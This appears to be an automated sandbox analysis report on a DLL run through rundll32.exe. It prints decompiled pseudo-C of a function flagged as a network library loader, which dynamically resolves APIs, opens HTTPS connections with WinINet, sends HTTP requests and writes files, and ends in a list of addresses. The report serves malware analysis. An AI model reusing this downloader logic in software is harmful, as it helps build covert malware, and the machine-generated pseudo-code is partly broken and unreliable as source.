Analysis Process: rundll32.exePID: 1748, Parent PID: 412COMMON

Execution Graph

Execution Coverage:	13.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.2%
Total number of Nodes:	1985
Total number of Limit Nodes:	37

Executed Functions

Function 000007FEF4737230 Relevance: 47.6, APIs: 31, Instructions: 1054
networklibraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E000007FE7FEF4737230(signed long long __edx, void* __edi, void* __esi, void* __eflags, void* __rax, long long __rcx, void* __rbp, char* __r8, char* __r9, void* __r11, long long _a8, signed long long _a16, signed long long _a24, signed long long _a32, signed long long _a40, long long _a56, void* _a72, char _a80, long long _a88, char _a96, signed long long _a112, long long _a120, short _a128, signed long long _a144, long long _a152, char _a160, signed long long _a176, long long _a184, signed long long _a192, signed long long _a200, signed long long _a208, long long _a216, char _a224, signed long long _a240, long long _a248, char _a256, signed long long _a272, long long _a280, intOrPtr _a288, char _a296, signed long long _a312, long long _a320, char _a328, signed long long _a344, long long _a352, char _a360, signed long long _a376, long long _a384, short _a392, signed long long _a408, long long _a416, char _a424, signed long long _a440, long long _a448, char _a456, signed long long _a472, long long _a480, char _a488, intOrPtr _a504, long long _a512, intOrPtr _a520, intOrPtr _a524, char _a528, long long _a552, char _a568, char _a576, long long _a720, char _a736, char _a840, void* _a9032, signed int _a9544, intOrPtr _a9648, intOrPtr _a9672, intOrPtr _a9680) {
				signed long long _v0;
				short _v8;
				signed long long _v16;
				signed long long _v24;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r14;
				void* _t639;
				void* _t676;
				void* _t697;
				void* _t698;
				void* _t699;
				void* _t813;
				signed long long _t831;
				signed long long _t837;
				void* _t841;
				char* _t842;
				signed long long _t850;
				signed long long _t858;
				void* _t864;
				void* _t879;
				void* _t923;
				void* _t925;
				void* _t958;
				signed long long _t964;
				signed long long _t1016;
				void* _t1020;
				void* _t1024;
				void* _t1031;
				void* _t1034;
				void* _t1037;
				signed long long _t1049;
				void* _t1060;
				char* _t1080;
				signed long long _t1091;
				void* _t1097;
				signed long long _t1098;
				void* _t1104;
				void* _t1116;
				void* _t1125;
				void* _t1135;
				short* _t1145;
				char _t1154;
				signed long long _t1155;
				void* _t1159;
				intOrPtr _t1171;
				long long _t1172;
				char* _t1174;
				intOrPtr _t1176;

				_t1166 = __r11;
				_t1096 = __rbp;
				_t699 = __eflags;
				_t695 = __esi;
				_a16 = __edx;
				E000007FE7FEF47530E0(0x25a0, __rax, _t1159, __r11);
				_t1098 = _t1097 - __rax;
				_a88 = 0xfffffffe;
				asm("movaps [esp+0x2590], xmm6");
				_t831 =  *0xf4777530; // 0xf9634ebbaa1d
				_a9544 = _t831 ^ _t1098;
				_t1174 = __r9;
				_t1080 = __r8;
				_t1172 = __rcx;
				_a56 = __rcx;
				_t1176 = _a9672;
				_t1171 = _a9680;
				_a8 = 0xf477b088;
				_a72 = 0xf477b080;
				_a520 = 0x200;
				E000007FE7FEF47234E0(__edx, __edi, __esi, _t699, _t858,  &_a488, __rcx + 0x3c0, __r9, _t1166);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				_t15 = _t858 + 0x20; // 0x20
				r8d = _t15;
				E000007FE7FEF4728590( &_a128, _a504);
				_t1145 =  >=  ? _a128 :  &_a128;
				_t1014 =  >=  ? _a488 :  &_a488;
				_t836 = _a504 + ( >=  ? _a488 :  &_a488);
				_t1016 =  >=  ? _a488 :  &_a488;
				_t1104 =  >  ? _t858 : _a504 + ( >=  ? _a488 :  &_a488) - _t1016;
				if (_t1104 == 0) goto 0xf47373a8;
				asm("o16 nop [eax+eax]");
				 *_t1145 =  *_t1016;
				_t837 = _t1016 + 1 +  ~_t1016;
				if (_t837 != _t1104) goto 0xf4737380;
				_t1168 = _a152;
				_t864 =  >=  ? _a128 :  &_a128; // executed
				LoadLibraryExW(??, ??, ??); // executed
				if (_t837 == 0) goto 0xf4737439;
				E000007FE7FEF47234E0(__edx, __edi, __esi, _t837, _t858,  &_a96, _t1172 + 0x3a0, _t1145 + 2, _a152);
				_t1020 =  >=  ? _a96 :  &_a96;
				GetProcAddress(??, ??);
				if (_t837 == 0) goto 0xf4737417;
				 *_t837(); // executed
				FreeLibrary(??); // executed
				if (_a120 - 0x10 < 0) goto 0xf4737439;
				E000007FE7FEF4741974(_a96);
				_v24 = 0;
				r9d = 0;
				r8d = 0;
				__imp__InternetOpenA(); // executed
				_a32 = _t837;
				if (_t837 != 0) goto 0xf47374b3;
				if (_a152 - 8 < 0) goto 0xf4737478;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf47374ac;
				E000007FE7FEF4741974(_a488);
				goto 0xf4738a4f;
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if ( *_t1080 != 0) goto 0xf47374d9;
				goto 0xf47374ea;
				if ( *((char*)(_t1080 + (_t858 | 0xffffffff) + 1)) != 0) goto 0xf47374e0;
				E000007FE7FEF4722D50(_t858,  &_a224, _t1080, _t837, (_t858 | 0xffffffff) + 1);
				_t1024 =  >=  ? _a224 :  &_a224;
				r8d = 0x1bb;
				_v0 = _t858;
				_v8 = 0;
				_v16 = 3;
				_v24 = _t858;
				r9d = 0;
				__imp__InternetConnectA(); // executed
				_a40 = _t837;
				if (_t837 != 0) goto 0xf47375dc;
				__imp__InternetCloseHandle();
				if (_a248 - 0x10 < 0) goto 0xf473756d;
				E000007FE7FEF4741974(_a224);
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if (_a152 - 8 < 0) goto 0xf47375a1;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf47375d5;
				E000007FE7FEF4741974(_a488);
				goto 0xf4738a4f;
				E000007FE7FEF47234E0(0, __edi, __esi, _a512 - 0x10, _t858,  &_a328, _t1172 + 0x400, _t1145 + 2, _a152);
				_a448 = 0xf;
				_a440 = _t858;
				_a424 = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t858,  &_a424,  &_a328, _t837, __rbp, _t1172 + 0x400, _t1145 + 0x00000002 | 0xffffffff);
				E000007FE7FEF4738AB0(_t858,  &_a392, _t837,  &_a424);
				_t879 =  >=  ? _a392 :  &_a392;
				LoadLibraryW(??);
				_t1091 = _t837;
				_a16 = _t837;
				_a320 = 0xf;
				_a312 = _t858;
				_a296 = 0;
				if ( *_t1174 != 0) goto 0xf473768e;
				goto 0xf473769c;
				if ( *((char*)(_t1174 + (_t858 | 0xffffffff) + 1)) != 0) goto 0xf4737692;
				E000007FE7FEF4722D50(_t858,  &_a296, _t1174, _t1091, (_t858 | 0xffffffff) + 1);
				_t1082 =  >=  ? _a296 :  &_a296;
				E000007FE7FEF47234E0(0, __edi, _t695, _a320 - 0x10, _t858,  &_a360, _t1172 + 0x280, _t1145 + 0x00000002 | 0xffffffff, _a152);
				_t1031 =  >=  ? _a360 :  &_a360;
				_v0 = _t858;
				_v8 = 0x800000;
				_v16 = _t858;
				_v24 = _t858;
				r9d = 0;
				_t1116 =  >=  ? _a296 :  &_a296;
				__imp__HttpOpenRequestA(); // executed
				_a24 = _t837;
				if (_t837 != 0) goto 0xf473789e;
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				if (_a384 - 0x10 < 0) goto 0xf473775f;
				E000007FE7FEF4741974(_a360);
				_a384 = 0xf;
				_a376 = _t858;
				_a360 = 0;
				if (_a320 - 0x10 < 0) goto 0xf4737793;
				E000007FE7FEF4741974(_a296);
				_a320 = 0xf;
				_a312 = _t858;
				_a296 = 0;
				if (_a416 - 8 < 0) goto 0xf47377c7;
				E000007FE7FEF4741974(_a392);
				_a416 = 7;
				_a408 = _t858;
				_a392 = 0;
				if (_a352 - 0x10 < 0) goto 0xf47377fb;
				E000007FE7FEF4741974(_a328);
				_a352 = 0xf;
				_a344 = _t858;
				_a328 = 0;
				if (_a248 - 0x10 < 0) goto 0xf473782f;
				E000007FE7FEF4741974(_a224);
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if (_a152 - 8 < 0) goto 0xf4737863;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf4737897;
				E000007FE7FEF4741974(_a488);
				goto 0xf4738a4f;
				_a524 = 0x8404f700;
				if (_t1091 == 0) goto 0xf4737920;
				E000007FE7FEF47234E0(0, __edi, _t695, _t1091, _t858,  &_a96, _t1172 + 0x480, _t1145 + 0x00000002 | 0xffffffff, _a152);
				_t1034 =  >=  ? _a96 :  &_a96;
				GetProcAddress(??, ??);
				r14d = 4;
				if (_t837 == 0) goto 0xf4737906;
				r9d = r14d;
				 *_t837();
				if (_a120 - 0x10 < 0) goto 0xf4737926;
				E000007FE7FEF4741974(_a96);
				goto 0xf4737926;
				r14d = 4;
				if (_t1171 == 0) goto 0xf473793c;
				if ( *((intOrPtr*)(_t1171 + (_t837 | 0xffffffff) + 1)) != sil) goto 0xf4737933;
				if (_t1176 == 0) goto 0xf473794f;
				_t1093 = (_t1091 | 0xffffffff) + 1;
				if ( *((char*)(_t1176 + (_t1091 | 0xffffffff) + 1)) != 0) goto 0xf4737945;
				if (_a16 == 0) goto 0xf4737b91;
				E000007FE7FEF47234E0(_a40 + 0x1b, 0, 0, _a16, _t858,  &_a96, _t1172 + 0x4a0, _t1145 + 0x00000002 | 0xffffffff, _a152);
				_t1037 =  >=  ? _a96 :  &_a96;
				GetProcAddress(??, ??);
				if (_t837 == 0) goto 0xf47379d3;
				_v24 = 0;
				r8d = 0;
				 *_t837(); // executed
				if (_a120 - 0x10 < 0) goto 0xf4737b96;
				E000007FE7FEF4741974(_a96);
				goto 0xf4737b96;
				GetLastError();
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				FreeLibrary(??);
				if (_a120 - 0x10 < 0) goto 0xf4737a1e;
				E000007FE7FEF4741974(_a96);
				_a120 = 0xf;
				_a112 = _t858;
				_a96 = 0;
				if (_a384 - 0x10 < 0) goto 0xf4737a52;
				E000007FE7FEF4741974(_a360);
				_a384 = 0xf;
				_a376 = _t858;
				_a360 = 0;
				if (_a320 - 0x10 < 0) goto 0xf4737a86;
				E000007FE7FEF4741974(_a296);
				_a320 = 0xf;
				_a312 = _t858;
				_a296 = 0;
				if (_a416 - 8 < 0) goto 0xf4737aba;
				E000007FE7FEF4741974(_a392);
				_a416 = 7;
				_a408 = _t858;
				_a392 = 0;
				if (_a352 - 0x10 < 0) goto 0xf4737aee;
				E000007FE7FEF4741974(_a328);
				_a352 = 0xf;
				_a344 = _t858;
				_a328 = 0;
				if (_a248 - 0x10 < 0) goto 0xf4737b22;
				E000007FE7FEF4741974(_a224);
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if (_a152 - 8 < 0) goto 0xf4737b56;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf4737b8a;
				E000007FE7FEF4741974(_a488);
				goto 0xf4738a4f;
				r8d = 0x108;
				E000007FE7FEF47486A0(0, 0, 0, _t698,  &_a568, _t1176, _t1172 + 0x4a0);
				E000007FE7FEF473C030(0, _t858,  &_a568, (_t1091 | 0xffffffff) + 1);
				r12d = _a9648;
				if (r12d != 1) goto 0xf473833b;
				_a216 = 0xf;
				_a208 = _t858;
				_a192 = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t858,  &_a192, 0xf476a763, (_t1091 | 0xffffffff) + 1, _t1172 + 0x4a0);
				E000007FE7FEF4738BC0(0, 0, 0, 0, r12d - 1, _t858, _t1172,  &_a192, (_t1091 | 0xffffffff) + 1, _t1171, _a152);
				E000007FE7FEF47234E0(0, 0, 0, r12d - 1, _t858,  &_a96, _t1172 + 0x160, _t1171, _t1168);
				E000007FE7FEF473DE50(_t697, _t837, _t858,  &_a528,  &_a192, _t1096, "\\", _t1171);
				E000007FE7FEF473DF30( &_a424, _t837, (_t837 | 0xffffffff) + 1, (_t1091 | 0xffffffff) + 1, _t1096,  &_a96, _t1171);
				if ( &_a192 == _t837) goto 0xf4737cad;
				if (_a216 - 0x10 < 0) goto 0xf4737c81;
				E000007FE7FEF4741974(_a192);
				_a216 = 0xf;
				_a208 = _t858;
				_a192 = 0;
				E000007FE7FEF47229E0(_t858,  &_a192, _t837);
				if (_a448 - 0x10 < 0) goto 0xf4737cc5;
				E000007FE7FEF4741974(_a424);
				_a448 = 0xf;
				_a440 = _t858;
				_a424 = 0;
				if (_a552 - 0x10 < 0) goto 0xf4737cf9;
				E000007FE7FEF4741974(_a528);
				_a184 = 7;
				_a176 = _t858;
				_a160 = 0;
				r8d = 0x20;
				E000007FE7FEF4728590( &_a160, _a208);
				_t1150 =  >=  ? _a160 :  &_a160;
				_t1047 =  >=  ? _a192 :  &_a192;
				_t840 = _a208 + ( >=  ? _a192 :  &_a192);
				_t1049 =  >=  ? _a192 :  &_a192;
				_t1125 =  >  ? _t858 : _a208 + ( >=  ? _a192 :  &_a192) - _t1049;
				if (_t1125 == 0) goto 0xf4737dd8;
				 *((short*)( >=  ? _a160 :  &_a160)) =  *_t1049;
				_t841 = _t1049 + 1 +  ~_t1049;
				if (_t841 != _t1125) goto 0xf4737db0;
				_t923 =  >=  ? _a160 :  &_a160;
				if (E000007FE7FEF4743774() != 0xffffffff) goto 0xf4737e16;
				_t925 =  >=  ? _a160 :  &_a160;
				CreateDirectoryW(??, ??);
				_a280 = 0xf;
				_a272 = _t858;
				_a256 = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t858,  &_a256,  &_a192, (_t1091 | 0xffffffff) + 1, _t1096, _t1125, ( >=  ? _a160 :  &_a160) + 0x00000002 | 0xffffffff);
				E000007FE7FEF47234E0(0, 0, 0, _a184 - 8, _t858,  &_a456, _t1172 + 0x140, ( >=  ? _a160 :  &_a160) + 0x00000002 | 0xffffffff, _a184);
				E000007FE7FEF473DE50(_t697, _t841, _t858,  &_a528,  &_a192, _t1096, "\\", ( >=  ? _a160 :  &_a160) + 0x00000002 | 0xffffffff);
				E000007FE7FEF473DF30( &_a424, _t841, _t837, _t1093, _t1096,  &_a456, ( >=  ? _a160 :  &_a160) + 0x00000002 | 0xffffffff);
				_t842 =  &_a256;
				if (_t842 == _t841) goto 0xf4737eed;
				if (_a280 - 0x10 < 0) goto 0xf4737ec1;
				E000007FE7FEF4741974(_a256);
				_a280 = 0xf;
				_a272 = _t858;
				_a256 = 0;
				E000007FE7FEF47229E0(_t858,  &_a256, _t841);
				if (_a448 - 0x10 < 0) goto 0xf4737f05;
				E000007FE7FEF4741974(_a424);
				_a448 = 0xf;
				_a440 = _t858;
				_a424 = 0;
				if (_a552 - 0x10 < 0) goto 0xf4737f39;
				E000007FE7FEF4741974(_a528);
				_t1057 =  >=  ? _a256 :  &_a256;
				r8d = 0x22;
				E000007FE7FEF473CF70(_t842,  &_a576,  >=  ? _a256 :  &_a256);
				if (_t842 != 0) goto 0xf4737f99;
				if ( *((long long*)(_t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270 + 0x48)) != 0) goto 0xf4737f8f;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270 + 0x10) | 6,  *((long long*)(_t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270 + 0x48)), _t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270);
				goto 0xf4737fab;
				_t690 =  ==  ? r14d : 0;
				r8d = 0;
				E000007FE7FEF47330B0( ==  ? r14d : 0,  *((intOrPtr*)(_t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270 + 0x48)) - ( >=  ? _a256 :  &_a256), _t1098 +  *((intOrPtr*)(_a568 + 4)) + 0x270);
				if (_a720 != 0) goto 0xf4738253;
				if (_a16 == 0) goto 0xf4737fce;
				FreeLibrary(??);
				if (_a480 - 0x10 < 0) goto 0xf4737fe6;
				E000007FE7FEF4741974(_a456);
				_a480 = 0xf;
				_a472 = _t858;
				_a456 = 0;
				if (_a280 - 0x10 < 0) goto 0xf473801a;
				E000007FE7FEF4741974(_a256);
				_a280 = 0xf;
				_a272 = _t858;
				_a256 = 0;
				if (_a184 - 8 < 0) goto 0xf473804e;
				E000007FE7FEF4741974(_a160);
				_a184 = 7;
				_a176 = _t858;
				_a160 = 0;
				if (_a120 - 0x10 < 0) goto 0xf4738082;
				E000007FE7FEF4741974(_a96);
				_a120 = 0xf;
				_a112 = _t858;
				_a96 = 0;
				if (_a216 - 0x10 < 0) goto 0xf47380b6;
				E000007FE7FEF4741974(_a192);
				_a216 = 0xf;
				_a208 = _t858;
				_a192 = 0;
				E000007FE7FEF473C310( ==  ? r14d : 0,  &_a736);
				_a736 = 0xf4769d48;
				E000007FE7FEF4759780( &_a736);
				if (_a384 - 0x10 < 0) goto 0xf4738114;
				E000007FE7FEF4741974(_a360);
				_a384 = 0xf;
				_a376 = _t858;
				_a360 = 0;
				if (_a320 - 0x10 < 0) goto 0xf4738148;
				E000007FE7FEF4741974(_a296);
				_a320 = 0xf;
				_a312 = _t858;
				_a296 = 0;
				if (_a416 - 8 < 0) goto 0xf473817c;
				E000007FE7FEF4741974(_a392);
				_a416 = 7;
				_a408 = _t858;
				_a392 = 0;
				if (_a352 - 0x10 < 0) goto 0xf47381b0;
				E000007FE7FEF4741974(_a328);
				_a352 = 0xf;
				_a344 = _t858;
				_a328 = 0;
				if (_a248 - 0x10 < 0) goto 0xf47381e4;
				E000007FE7FEF4741974(_a224);
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if (_a152 - 8 < 0) goto 0xf4738218;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf473824c;
				E000007FE7FEF4741974(_a488);
				goto 0xf4738a4f;
				if (_a480 - 0x10 < 0) goto 0xf473826b;
				E000007FE7FEF4741974(_a456);
				_a480 = 0xf;
				_a472 = _t858;
				_a456 = 0;
				if (_a280 - 0x10 < 0) goto 0xf473829f;
				E000007FE7FEF4741974(_a256);
				_a280 = 0xf;
				_a272 = _t858;
				_a256 = 0;
				if (_a184 - 8 < 0) goto 0xf47382d3;
				E000007FE7FEF4741974(_a160);
				_a184 = 7;
				_a176 = _t858;
				_a160 = 0;
				if (_a120 - 0x10 < 0) goto 0xf4738307;
				E000007FE7FEF4741974(_a96);
				_a120 = 0xf;
				_a112 = _t858;
				_a96 = 0;
				if (_a216 - 0x10 < 0) goto 0xf473833b;
				E000007FE7FEF4741974(_a192);
				 *0xf477b080 = 0;
				asm("o16 nop [eax+eax]");
				r8d = 0x400;
				E000007FE7FEF47486A0(0, 0, 0, _t698,  &_a840,  >=  ? _a256 :  &_a256,  &_a456);
				_t958 =  >=  ? _a328 :  &_a328;
				GetModuleHandleA(??);
				E000007FE7FEF47234E0(0, 0, 0, _a352 - 0x10, _t858,  &_a96, _t1172 + 0x4c0, ( >=  ? _a160 :  &_a160) + 0x00000002 | 0xffffffff, _a184);
				_t1060 =  >=  ? _a96 :  &_a96;
				GetProcAddress(??, ??);
				 *0xf477b090 = 0xf4769d48;
				if (0xf4769d48 == 0) goto 0xf473889b;
				r8d = 0x400;
				 *0xf4769d48(); // executed
				if (_a120 - 0x10 < 0) goto 0xf4738404;
				E000007FE7FEF4741974(_a96);
				if (_a288 <= 0) goto 0xf47387cb;
				if (r12d != 0) goto 0xf473876a;
				_a184 = 0xf;
				_a176 = _t858;
				_a160 = r12b;
				if (_a840 != r12b) goto 0xf4738446;
				goto 0xf473845c;
				if ( *((char*)( &_a840 + (_t858 | 0xffffffff) + 1)) != 0) goto 0xf4738452;
				E000007FE7FEF4722D50(_t858,  &_a160,  &_a840, _a8, (_t858 | 0xffffffff) + 1);
				_t1154 = _a160;
				_t848 =  >=  ? _t1154 :  &_a160;
				_t849 = ( >=  ? _t1154 :  &_a160) + _a176;
				_t964 =  >=  ? _t1154 :  &_a160;
				_t1135 =  >  ? _t858 : ( >=  ? _t1154 :  &_a160) + _a176 - _t964;
				if (_t1135 == 0) goto 0xf47384f1;
				if ( *_t964 != 0x20) goto 0xf47384cd;
				 *_t964 = 0x2b;
				_t850 = _t964 + 1 +  ~_t964;
				if (_t850 != _t1135) goto 0xf47384c5;
				_t1155 = _a160;
				_t1137 =  >=  ? _t1155 :  &_a160;
				_t1138 = ( >=  ? _t1155 :  &_a160) + _a176;
				_t1068 =  >=  ? _t1155 :  &_a160;
				_a480 = 7;
				_a472 = _t858;
				_a456 = 0;
				E000007FE7FEF473F930(_t858,  &_a456,  >=  ? _t1155 :  &_a160, _t1096, ( >=  ? _t1155 :  &_a160) + _a176, _a40);
				_t968 =  >=  ? _a456 :  &_a456;
				E000007FE7FEF4743344(_t858,  >=  ? _a456 :  &_a456, "?", _a8, _a184, _a184);
				if (_t850 == 0) goto 0xf473874a;
				_a192 = _t850;
				_a200 = _t850;
				_a208 = _t850;
				E000007FE7FEF47371D0( &_a192,  &_a456);
				_t813 = _a200 - _a192 >> 5 - 1;
				if (_t813 <= 0) goto 0xf473873c;
				_a448 = 7;
				_a440 = _t858;
				_a424 = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t858,  &_a424, _a192 + 0x20, _a8, _t1096, ( >=  ? _t1155 :  &_a160) + _a176, _t1155 | 0xffffffff);
				E000007FE7FEF4733380(_t858,  &_a424, _a8);
				asm("movd xmm6, eax");
				asm("cvtdq2pd xmm6, xmm6");
				asm("comisd xmm6, [0x33410]");
				if (_t813 <= 0) goto 0xf4738713;
				E000007FE7FEF47234E0(0, 0, 0, _t813, _t858,  &_a256, _t1172 + 0x2a0, _t1155 | 0xffffffff, _a184);
				_a120 = 7;
				_a112 = _t858;
				_a96 = 0;
				r8d = 0x20;
				_t639 = E000007FE7FEF4728590( &_a96, _a272);
				_t1158 =  >=  ? _a96 :  &_a96;
				_t1141 =  >=  ? _a256 :  &_a256;
				_t1142 = ( >=  ? _a256 :  &_a256) + _a272;
				_t1076 =  >=  ? _a256 :  &_a256;
				E000007FE7FEF47280A0(E000007FE7FEF473DC20(_t639,  &_a80,  >=  ? _a256 :  &_a256, ( >=  ? _a256 :  &_a256) + _a272,  >=  ? _a96 :  &_a96, _a184),  &_a192,  >=  ? _a256 :  &_a256);
				if (E000007FE7FEF4727E60(0, _t858, _a200 - _a192 >> 5,  &_a96) != 0) goto 0xf47386f7;
				_t854 = _a72;
				 *_a72 = 1;
				asm("movsd [esi], xmm6");
				E000007FE7FEF4723B40(_a72,  &_a96);
				E000007FE7FEF4722970( &_a256);
				r12d = _a9648;
				E000007FE7FEF4723B40(_t854,  &_a424);
				0xf4728090();
				E000007FE7FEF4723B40(_t854,  &_a456);
				E000007FE7FEF4722970( &_a160);
				goto 0xf4738350;
				E000007FE7FEF47228B0( &_a528,  &_a840, _t1142);
				r8d = _a288;
				E000007FE7FEF473B0F0(_t858,  &_a568,  &_a840, _t1142);
				asm("xorps xmm0, xmm0");
				asm("repne dec eax");
				asm("addsd xmm0, [eax]");
				asm("movsd [eax], xmm0");
				E000007FE7FEF4722970( &_a528);
				goto 0xf4738342;
				if (r12d != 1) goto 0xf47387ef;
				if (E000007FE7FEF473C390(_a8,  &_a568) == 0) goto 0xf47387ef;
				E000007FE7FEF473C3A0(_a8,  &_a568);
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				if (_a16 == 0) goto 0xf4738822;
				FreeLibrary(??);
				E000007FE7FEF4738A80(_t858,  &_a568,  &_a840, _a8, _t1142);
				E000007FE7FEF4722970( &_a360);
				E000007FE7FEF4722970( &_a296);
				E000007FE7FEF4723B40(_a16,  &_a392);
				E000007FE7FEF4722970( &_a328);
				E000007FE7FEF4722970( &_a224);
				E000007FE7FEF4723B40(_a16,  &_a128);
				E000007FE7FEF4722970( &_a488);
				goto 0xf4738a4f;
				if (_a120 - 0x10 < 0) goto 0xf47388b3;
				E000007FE7FEF4741974(_a96);
				_a120 = 0xf;
				_a112 = _t858;
				_a96 = 0;
				E000007FE7FEF473C310(0,  &_a736);
				_a736 = 0xf4769d48;
				E000007FE7FEF4759780( &_a736);
				if (_a384 - 0x10 < 0) goto 0xf4738911;
				E000007FE7FEF4741974(_a360);
				_a384 = 0xf;
				_a376 = _t858;
				_a360 = 0;
				if (_a320 - 0x10 < 0) goto 0xf4738945;
				E000007FE7FEF4741974(_a296);
				_a320 = 0xf;
				_a312 = _t858;
				_a296 = 0;
				if (_a416 - 8 < 0) goto 0xf4738979;
				E000007FE7FEF4741974(_a392);
				_a416 = 7;
				_a408 = _t858;
				_a392 = 0;
				if (_a352 - 0x10 < 0) goto 0xf47389ad;
				E000007FE7FEF4741974(_a328);
				_a352 = 0xf;
				_a344 = _t858;
				_a328 = 0;
				if (_a248 - 0x10 < 0) goto 0xf47389e1;
				E000007FE7FEF4741974(_a224);
				_a248 = 0xf;
				_a240 = _t858;
				_a224 = 0;
				if (_a152 - 8 < 0) goto 0xf4738a15;
				E000007FE7FEF4741974(_a128);
				_a152 = 7;
				_a144 = _t858;
				_a128 = 0;
				if (_a512 - 0x10 < 0) goto 0xf4738a49;
				E000007FE7FEF4741974(_a488);
				_t676 = E000007FE7FEF4740F90(0, 0, 0, _t698, _a9544 ^ _t1098,  &_a840, _t1142);
				asm("movaps xmm6, [esp+0x2590]");
				return _t676;
			}

0x7fef4737230
0x7fef4737230
0x7fef4737230
0x7fef4737230
0x7fef4737230
0x7fef4737244
0x7fef4737249
0x7fef473724c
0x7fef4737258
0x7fef4737260
0x7fef473726a
0x7fef4737272
0x7fef4737275
0x7fef4737278
0x7fef473727b
0x7fef4737280
0x7fef4737288
0x7fef4737297
0x7fef47372a3
0x7fef47372ab
0x7fef47372c5
0x7fef47372cb
0x7fef47372d9
0x7fef47372e1
0x7fef47372e9
0x7fef47372e9
0x7fef47372fd
0x7fef473731f
0x7fef4737334
0x7fef4737345
0x7fef4737359
0x7fef473736b
0x7fef4737372
0x7fef473737a
0x7fef4737383
0x7fef473738f
0x7fef4737396
0x7fef4737398
0x7fef47373b4
0x7fef47373b8
0x7fef47373c4
0x7fef47373d5
0x7fef47373ec
0x7fef47373f8
0x7fef4737401
0x7fef4737415
0x7fef473741a
0x7fef473742a
0x7fef4737434
0x7fef4737439
0x7fef473743d
0x7fef4737440
0x7fef473744d
0x7fef4737456
0x7fef473745e
0x7fef4737469
0x7fef4737473
0x7fef4737478
0x7fef4737484
0x7fef473748c
0x7fef473749d
0x7fef47374a7
0x7fef47374ae
0x7fef47374b3
0x7fef47374bf
0x7fef47374c7
0x7fef47374d2
0x7fef47374d7
0x7fef47374e8
0x7fef47374f5
0x7fef473750c
0x7fef4737515
0x7fef473751b
0x7fef4737520
0x7fef4737524
0x7fef473752c
0x7fef4737531
0x7fef4737537
0x7fef473753d
0x7fef4737545
0x7fef473754e
0x7fef473755e
0x7fef4737568
0x7fef473756d
0x7fef4737579
0x7fef4737581
0x7fef4737592
0x7fef473759c
0x7fef47375a1
0x7fef47375ad
0x7fef47375b5
0x7fef47375c6
0x7fef47375d0
0x7fef47375d7
0x7fef47375eb
0x7fef47375f1
0x7fef47375fd
0x7fef4737605
0x7fef4737611
0x7fef4737624
0x7fef4737639
0x7fef4737650
0x7fef4737659
0x7fef473765f
0x7fef4737662
0x7fef4737667
0x7fef4737673
0x7fef473767b
0x7fef4737687
0x7fef473768c
0x7fef473769a
0x7fef47376a7
0x7fef47376be
0x7fef47376d6
0x7fef47376ed
0x7fef47376f6
0x7fef47376fb
0x7fef4737703
0x7fef4737708
0x7fef473770d
0x7fef4737710
0x7fef473771b
0x7fef4737724
0x7fef473772c
0x7fef4737735
0x7fef4737740
0x7fef4737750
0x7fef473775a
0x7fef473775f
0x7fef473776b
0x7fef4737773
0x7fef4737784
0x7fef473778e
0x7fef4737793
0x7fef473779f
0x7fef47377a7
0x7fef47377b8
0x7fef47377c2
0x7fef47377c7
0x7fef47377d3
0x7fef47377db
0x7fef47377ec
0x7fef47377f6
0x7fef47377fb
0x7fef4737807
0x7fef473780f
0x7fef4737820
0x7fef473782a
0x7fef473782f
0x7fef473783b
0x7fef4737843
0x7fef4737854
0x7fef473785e
0x7fef4737863
0x7fef473786f
0x7fef4737877
0x7fef4737888
0x7fef4737892
0x7fef4737899
0x7fef473789e
0x7fef47378ac
0x7fef47378bd
0x7fef47378d4
0x7fef47378e0
0x7fef47378e6
0x7fef47378ef
0x7fef47378f1
0x7fef4737903
0x7fef473790f
0x7fef4737919
0x7fef473791e
0x7fef4737920
0x7fef473792d
0x7fef473793a
0x7fef473793f
0x7fef4737945
0x7fef473794d
0x7fef4737955
0x7fef473796a
0x7fef4737981
0x7fef473798f
0x7fef4737998
0x7fef473799a
0x7fef47379a1
0x7fef47379af
0x7fef47379bb
0x7fef47379c9
0x7fef47379ce
0x7fef47379d3
0x7fef47379de
0x7fef47379e9
0x7fef47379f4
0x7fef47379ff
0x7fef4737a0f
0x7fef4737a19
0x7fef4737a1e
0x7fef4737a2a
0x7fef4737a32
0x7fef4737a43
0x7fef4737a4d
0x7fef4737a52
0x7fef4737a5e
0x7fef4737a66
0x7fef4737a77
0x7fef4737a81
0x7fef4737a86
0x7fef4737a92
0x7fef4737a9a
0x7fef4737aab
0x7fef4737ab5
0x7fef4737aba
0x7fef4737ac6
0x7fef4737ace
0x7fef4737adf
0x7fef4737ae9
0x7fef4737aee
0x7fef4737afa
0x7fef4737b02
0x7fef4737b13
0x7fef4737b1d
0x7fef4737b22
